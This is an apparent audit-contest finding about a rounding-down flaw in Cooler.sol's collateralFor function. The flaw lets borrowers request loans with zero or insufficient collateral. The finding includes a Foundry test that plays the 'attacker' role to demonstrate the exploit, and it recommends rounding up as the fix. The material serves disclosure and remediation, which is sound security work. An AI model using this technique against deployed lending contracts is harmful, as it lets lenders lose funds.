Allarious

high

# `collateralFor` does not calculate the collateral correctly.

## Summary
`collateralFor` does not calculate the collateral amount correctly, effecting the `Cooler.sol` flow to go unexpectedly.

## Vulnerability Detail
`collateralFor` is the function that takes in the `amount` requested for loan, and the `loanToCollateral` ratio with 18 decimal points. The given formula:
```solidity
    function collateralFor(uint256 amount, uint256 loanToCollateral) public pure returns (uint256) {
        return amount * decimals / loanToCollateral;
    }
```
Rounds the collateral needed down while it should round it up. There are several lines of codes effected which can cause the lender to not the the collateral back. All of the bugs caused below can get exaggerated in two cases:

* If the price difference between the two tokens is high, this can boost the value of `loanToCollateral` value higher (e.g. Collateral token is 1e10 times Debt token)
* If the decimal points of the two tokens is different than 1e18 (e.g. USDC)

Borrowers can submit requests with a non-zero `amount` requested and a non-zero `loanToCollateral` while not providing any collateralization to the system. if the amount requested is less than `loanToCollateral/1e18, no collateral is needed which should not be allowed. if the amount if bigger than the said amount, it will be rounded down to the closest multiplication of it.

if the interest rate calculated in the clear function is less than `loanToCollateral/1e18' there is a chance that the borrower does not need to add any collateral to roll the loan. This happens if `collateralFor(amount) == collateralFor(amount + interest) due to rounding down.

## Impact
lines of code impacted:
* Cooler.sol, 85
* Cooler.sol, 102
* Cooler.sol, 139
* Cooler.sol, 172
* Cooler.sol, 236-238

## Code Snippet
```solidity
contract CollateralForTests is Test {
    ERC20 public token1;
    ERC20 public token2;

    CoolerFactory public factory;
    Cooler public cooler;

    address public victim;
    address public attacker;

    uint256 ATTACKER_INITIAL_BALANCE = 10000 ether;

    function setUp() public {
        victim = vm.addr(1);
        attacker = vm.addr(2);

        token1 = new ERC20("token1", "TK1"); // Collateral
        token2 = new ERC20("token2", "TK2"); // Debt

        token1.mint(attacker, ATTACKER_INITIAL_BALANCE);
        token2.mint(attacker, ATTACKER_INITIAL_BALANCE);

        factory = new CoolerFactory();
        cooler = Cooler(factory.generate(token1, token2));
    }

    function testCollateralFor() public {
        //  collateralFor(Amount, loanToCollateral)
        // As long as loanToCollateral/1e18 is bigger than amount
        // the output of the funciton would be equal to zero
        assertEq(cooler.collateralFor(1, 1.1e18), 0);
    }

    function testRequestWithZeroCollateral() public {
        // Since collateralFor can act buggy the the loanToCollateral/1e18 ratio
        // is higher than amout requested, it is possible for someone to create
        // a request with a non-zero loanToCollateral and non-zero amount requested
        // and zero collateral invested

        // Lets say we have two tokens named smallToken and bigToken. And we know that one smallToken trades 1e11 for each bigToken
        // We set the loanToCollateral 1e28 which means we put a single wETH (1 wei) for a 1e10 smallTokens loan, 10 times the actuall price of the token
        // Both smallToken and bigToken have decimal points of 1e18
        uint256 loanToCollateral = 1e28;
        // token1 -> bigToken
        // token2 -> smallToken
        vm.startPrank(attacker);        
        cooler.request(1e10 - 1, 1e17, loanToCollateral, 10 days);
        assertEq(token1.balanceOf(attacker), ATTACKER_INITIAL_BALANCE); // Attacker has the full balacne even after a request

        token1.approve(address(cooler), 1); // bigToken approve for a single ether
        
        cooler.request(1e10, 1e17, loanToCollateral, 10 days);

        vm.expectRevert();
        cooler.request(1e10, 1e17, loanToCollateral, 10 days); // cannot move any more 1e10 smallToken since we do not have more allowance of bigToken

        cooler.request(1e10 - 1, 1e17, loanToCollateral, 10 days); // can still move 1e10 - 1 smalltoken without collateralizing smallToken

        assertEq(token1.balanceOf(attacker), ATTACKER_INITIAL_BALANCE - 1); // Only the second request needed a collateral
        vm.stopPrank();
    }
}
```
## Tool used

Manual Review

## Recommendation
The function can mitigate these bugs by rounding up, also there is room for some extra sanity checks to see if enough collateral is available in the pool to guarantee the funds.
It is possible for the lender to check the pair by running the `collateralFor` function to see if there is enough collateral to invest, but the contract should put in some safety measures as well.